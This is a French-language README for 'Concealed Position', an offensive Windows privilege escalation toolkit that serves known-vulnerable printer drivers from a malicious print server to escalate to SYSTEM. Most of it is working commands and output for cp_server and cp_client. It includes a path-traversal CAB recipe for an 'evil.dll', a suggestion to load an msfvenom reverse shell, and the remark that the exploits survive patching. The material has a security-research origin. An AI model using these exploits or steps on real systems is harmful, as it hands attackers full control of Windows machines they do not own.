
Apportez votre propre outil d'escalade de privilèges de pilote d'impression
Concealed Position est une attaque d'élévation de privilèges locaux contre Windows utilisant le concept de "Bring Your Own Vulnerability". Plus précisément, Concealed Position (CP) utilise la logique de point et impression de package telle que conçue dans Windows qui permet à un utilisateur à faibles privilèges de préparer et d'installer des pilotes d'imprimante. CP installe spécifiquement des pilotes présentant des vulnérabilités connues qui sont ensuite exploitées pour escalader vers SYSTEM. Concealed Position a été présenté pour la première fois à DEF CON 29.
Concealed Position offre quatre exploits - tous avec des noms aussi stupides :
Les exploits sont intéressants car, à part SLASHINGDAMAGE, ils continueront de fonctionner même après que les problèmes soient corrigés. Le seul mécanisme dont Windows dispose pour empêcher les utilisateurs d'utiliser d'anciens pilotes est de révoquer le certificat du pilote - ce qui n'est pas(?) historiquement fait.
Probablement ACIDDAMAGE. RADIANTDAMAGE et POISONDAMAGE sont des conditions de course (pour écraser une DLL) et SLASHINGDAMAGE, espérons-le, est corrigé presque partout.
Concealed Position comporte deux parties. Une imprimante malveillante et un client. Le client se connecte au serveur, récupère un pilote, fait stocker le pilote dans le magasin de pilotes, installe l'imprimante et exploite le processus d'installation. Facile ! Dans le langage MSAPI, l'attaque ressemble à ceci :
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
Il est important de noter que SLASHINGDAMAGE ne fonctionne pas réellement comme cela. SLASHINGDAMAGE est une implémentation de l'attaque d'imprimante malveillante décrite à DEFCON 28 (2020) et a été corrigée depuis longtemps. Il se trouve que j'apprécie cette attaque (elle a déclenché le reste de ce développement) et j'ai pensé que je laisserais l'exploit dans mon serveur malveillant... aussi déroutant que cela puisse être.
On peut soutenir que oui. Le magasin de pilotes est une "collection de confiance de ... packages de pilotes tiers" qui nécessite un accès administrateur pour être modifié. En utilisant GetPrinterDriver, un attaquant à faibles privilèges peut préparer des pilotes arbitraires dans le magasin. Cela, à mon avis, franchit une frontière de sécurité claire.
Microsoft a semblé d'accord lorsqu'ils ont publié CVE-2021-34481.
Cependant... on peut soutenir que ce n'est simplement qu'une fonctionnalité du système et pas du tout une vulnérabilité. Cela n'a pas vraiment d'importance. Un attaquant peut escalader vers SYSTEM sur des installations Windows standard.
Au moins Windows 8.1 et versions ultérieures.
Simple ! Si simple qu'il y aura beaucoup de paragraphes pour le décrire !
Tout d'abord, regardons les options de ligne de commande de cp_server :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Ci-dessus, vous pouvez voir que le serveur nécessite deux options :
Par exemple, disons que nous voulions configurer une imprimante malveillante qui servirait le pilote ACIDDAMAGE. Il suffit de faire ceci :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Et voilà, vous verrez une nouvelle imprimante sur votre système :
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Notez qu'il y a une étape manuelle que cp_server vous demande de faire. Parce que je suis un hacker de pacotille, je n'ai pas pu comprendre comment définir par programmation les 'Paramètres de partage avancés' -> 'Désactiver le partage protégé par mot de passe'. Vous devrez le faire vous-même !
Le processus d'utilisation de SLASHINGDAMAGE est un peu différent. Vous devrez d'abord installer CutePDF Writer (trouvez les installateurs dans le répertoire 3rd party). Ensuite, exécutez cp_server et ensuite vous devrez encore suivre quelques étapes manuelles et redémarrer.
Le client est tout aussi facile à utiliser. Regardons ses options de ligne de commande :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Tout d'abord, j'aimerais aborder l'option --dll. Le client a une charge utile intégrée qui écrira simplement le fichier C:\result.txt. Cependant, les utilisateurs peuvent fournir leur propre DLL via cette option. Un bon exemple de quelque chose que vous pourriez vouloir utiliser est un shell inverse x64 produit par msfvenom. Mais pour le reste, nous supposerons simplement la charge utile intégrée.
cp_client a deux modes : distant et local. L'option distante est la plus intéressante car elle ajoute le pilote vulnérable au magasin de pilotes (exécutant ainsi la vulnérabilité 'apportez votre propre pilote d'impression'), donc nous allons commencer par celle-ci. Disons que je veux me connecter à l'imprimante malveillante ACIDDAMAGE que nous avons configurée précédemment. J'ai juste besoin de fournir :
Comme ceci !
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C'est tout ! Pour exécuter une attaque uniquement locale, il suffit de fournir l'exploit :
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE n'a pas besoin d'un client spécial pour l'exploitation. Vous pouvez simplement utiliser l'interface utilisateur ou la ligne de commande pour vous connecter à l'imprimante distante et c'est tout ! Malheureusement, si vous voulez créer une charge utile personnalisée, vous devrez mettre à jour le CAB dans le répertoire cab_files. Mais c'est facile. Quelque chose comme ceci :
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
Il est probablement important de savoir que la version de SLASHINGDAMAGE dans le dépôt dépose ualapi.dll dans SYSTEM32 et, lorsqu'elle est exécutée au redémarrage, elle dépose le fichier C:\result.txt.
Voulez-vous soumettre une pull request ou signaler un bug ? Super ! Je l'apprécie, mais si vous ne fournissez pas suffisamment de détails pour reproduire un bug ou expliquer pourquoi une pull request devrait être acceptée, il y a 100% de chance que je ferme votre problème sans commentaire. Je vous apprécie, mais je suis aussi assez occupé.
Une chose à noter est que la DLL inject_me est en fait intégrée dans cp_client sous forme de tableau C. Si vous mettez à jour inject_me, vous devrez également mettre à jour manuellement le tableau C (utilisez simplement xxd pour générer le tableau).